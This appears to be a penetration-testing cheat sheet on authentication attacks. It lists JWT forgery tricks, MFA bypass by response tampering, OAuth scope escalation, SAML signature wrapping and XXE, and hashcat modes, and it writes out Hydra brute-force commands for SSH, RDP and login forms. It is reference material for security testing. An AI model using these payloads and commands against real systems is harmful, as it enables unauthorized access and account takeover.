Quick Reference

Essential reference for modern authentication protocols, token formats, and common attack vectors.

Scope Validation

In OAuth flows, always check if you can escalate privileges by manually adding scopes (e.g., &scope=admin or &scope=read,write) to the authorization URL.

🔑 OAuth 2.0 Grant Types

Authorization CodeConfidential clients (server-side). Most secure.
PKCEPublic clients (SPA/Mobile). Prevents code interception.
Client CredentialsMachine-to-machine. No user interaction.
ImplicitLegacy (SPA). Tokens in URL fragment. Deprecated.
Device CodeInput-constrained devices (Smart TV).
Refresh TokenExchange for new access token without login.

🛡️ JWT Attacks

None Algorithm"alg": "none" (strip signature)
Weak SecretBrute force HMAC secret (hashcat -m 16500)
Key ConfusionChange RS256 to HS256 using public key as secret
KID Injection"kid": "../../../dev/null" (Directory Traversal)
JKU MisusePoint jku header to attacker-controlled JSON

JWT Tool Syntax

bash 
python3 jwt_tool.py <token> -T -S hs256 -k public.pem

🔓 MFA Bypass Techniques

  • Response Manipulation: Intercept 2FA response, change false to true.
  • Status Code: Change HTTP 403 Forbidden to 200 OK.
  • Direct Browsing: Force browse to /dashboard or /admin skipping 2FA page.
  • Parameter Pollution: email=victim@site.com&email=attacker@site.com.
bash 
# Response Manipulation
# Intercept response and change:
{"success": false} -> {"success": true}

# Status Code Manipulation
# Change HTTP 403 Forbidden -> HTTP 200 OK

🌐 HTTP Auth Headers

BasicAuthorization: Basic base64(user:pass)
BearerAuthorization: Bearer <token>
DigestChallenge-response (nonce, realm, qop)
API KeyX-API-Key: <key> or Query param
AWS SigV4Complex signature in Authorization header

🐉 Hydra Syntax

SSH Brute Force

bash 
hydra -l user -P passlist.txt target ssh

RDP Brute Force

bash 
hydra -t 1 -V -f -l user -P passlist.txt rdp://target

Web Form Brute Force

bash 
hydra -l user -P passlist.txt target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=failed"

#️⃣ Hashcat Modes

MD5-m 0
SHA1-m 100
SHA256-m 1400
NTLM-m 1000
NetNTLMv2-m 5600
bcrypt-m 3200
Argon2-m 16800
Kerberos 5 (AS-REP)-m 18200

🎭 SAML Attacks

XML Signature WrappingMove signed assertion, insert malicious one
Comment Injectionuser<!-- comment -->@admin.com
Certificate FakingSign assertion with self-signed cert
Replay AttackResend valid assertion (check NotOnOrAfter)
XXEInject XML entities in SAMLResponse

Related Topics

← All Cheatsheets

Browse all quick reference guides

API Authentication Testing

Full auth testing guide

Auth Bypass Techniques

Authentication bypass attacks

Burp Suite Cheatsheet

Web proxy reference